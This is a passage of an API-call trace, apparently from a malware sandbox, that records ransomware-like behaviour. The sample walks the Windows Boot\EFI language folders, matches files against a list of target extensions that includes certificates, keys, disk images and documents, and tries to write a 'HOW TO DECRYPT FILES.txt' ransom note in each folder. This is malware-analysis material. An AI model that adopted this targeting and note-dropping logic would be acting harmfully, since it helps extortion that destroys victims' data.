(pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.asm") returned 0 [0125.107] lstrlenA (lpString="*.asm") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.pfx") returned 0 [0125.107] lstrlenA (lpString="*.pfx") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.pem") returned 0 [0125.107] lstrlenA (lpString="*.pem") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.p12") returned 0 [0125.107] lstrlenA (lpString="*.p12") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.gpg") returned 0 [0125.107] lstrlenA (lpString="*.gpg") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.vsd") returned 0 [0125.107] lstrlenA (lpString="*.vsd") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.odg") returned 0 [0125.107] lstrlenA (lpString="*.odg") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.raw") returned 0 [0125.107] lstrlenA (lpString="*.raw") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.nef") returned 0 [0125.107] lstrlenA (lpString="*.nef") returned 5 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.svg") returned 0 [0125.108] lstrlenA (lpString="*.svg") returned 5 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.psd") returned 0 [0125.108] lstrlenA (lpString="*.psd") returned 5 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.vmx") returned 0 [0125.108] lstrlenA (lpString="*.vmx") returned 5 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.vmdk") returned 0 [0125.108] lstrlenA (lpString="*.vmdk") returned 6 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.vdi") returned 0 [0125.108] lstrlenA (lpString="*.vdi") returned 5 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.lay6") returned 0 [0125.108] lstrlenA (lpString="*.lay6") returned 6 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mpeg") returned 0 [0125.108] lstrlenA (lpString="*.mpeg") returned 6 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.djvu") returned 0 [0125.108] lstrlenA (lpString="*.djvu") returned 6 [0125.108] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.tiff") returned 0 [0125.108] lstrlenA (lpString="*.tiff") returned 6 [0125.109] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.backup") returned 0 [0125.109] lstrlenA (lpString="*.backup") returned 8 [0125.109] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.pdf") returned 0 [0125.109] lstrlenA (lpString="*.pdf") returned 5 [0125.109] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.cert") returned 0 [0125.109] lstrlenA (lpString="*.cert") returned 6 [0125.109] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.docm") returned 0 [0125.109] lstrlenA (lpString="*.docm") returned 6 [0125.109] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.xlsm") returned 0 [0125.109] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2402d27, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2b73151, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2b73151, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.109] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.109] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.109] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.109] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.109] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.109] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pl-PL\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\" [0125.110] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\") returned="" [0125.110] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" [0125.110] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\how to decrypt files.txt")) returned 0xffffffff [0125.110] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.110] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.110] CloseHandle (hObject=0xffffffff) returned 0 [0125.110] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgr.efi.mui" [0125.110] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.111] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2402d27, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2b73151, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2b73151, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.111] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.111] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0125.111] lstrcmpA (lpString1=".", lpString2="pt-BR") returned -1 [0125.111] lstrcmpA (lpString1="..", lpString2="pt-BR") returned -1 [0125.111] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.111] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="pt-BR" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR") returned="C:\\Windows\\Boot\\EFI\\pt-BR" [0125.111] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.112] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.112] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.112] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.112] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.112] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe551af09, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5cfd74a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.112] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.112] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.112] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.112] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.112] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\*.*") returned="*.*" [0125.112] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pt-BR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\" [0125.112] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\") returned="" [0125.112] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" [0125.112] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-br\\how to decrypt files.txt")) returned 0xffffffff [0125.112] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-br\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.113] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.113] CloseHandle (hObject=0xffffffff) returned 0 [0125.113] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgfw.efi.mui" [0125.113] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42a85fd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.113] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.113] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.113] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.113] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.113] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.114] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pt-BR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\" [0125.114] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pt-BR\\") returned="" [0125.114] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" [0125.114] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-br\\how to decrypt files.txt")) returned 0xffffffff [0125.114] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-BR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-br\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.115] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.115] CloseHandle (hObject=0xffffffff) returned 0 [0125.115] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgr.efi.mui" [0125.115] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pt-BR\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.115] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42a85fd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.116] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0125.116] lstrcmpA (lpString1=".", lpString2="pt-PT") returned -1 [0125.116] lstrcmpA (lpString1="..", lpString2="pt-PT") returned -1 [0125.116] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.116] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="pt-PT" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT") returned="C:\\Windows\\Boot\\EFI\\pt-PT" [0125.116] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.118] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.118] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.119] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.119] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.119] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b7cec3, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe831344a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7830996c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15e50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.119] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.119] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.119] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.119] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.119] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\*.*") returned="*.*" [0125.119] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pt-PT\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\" [0125.119] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\") returned="" [0125.119] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" [0125.119] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\how to decrypt files.txt")) returned 0xffffffff [0125.119] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.120] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.120] CloseHandle (hObject=0xffffffff) returned 0 [0125.120] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgfw.efi.mui" [0125.120] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.120] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8528760, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c00616, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c00616, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.120] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.120] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.120] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.120] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.120] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.120] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pt-PT\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\" [0125.120] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pt-PT\\") returned="" [0125.120] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" [0125.120] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\how to decrypt files.txt")) returned 0xffffffff [0125.121] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.121] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.121] CloseHandle (hObject=0xffffffff) returned 0 [0125.121] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgr.efi.mui" [0125.121] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.121] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8528760, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c00616, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c00616, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.121] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.121] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0125.121] lstrcmpA (lpString1=".", lpString2="ru-RU") returned -1 [0125.122] lstrcmpA (lpString1="..", 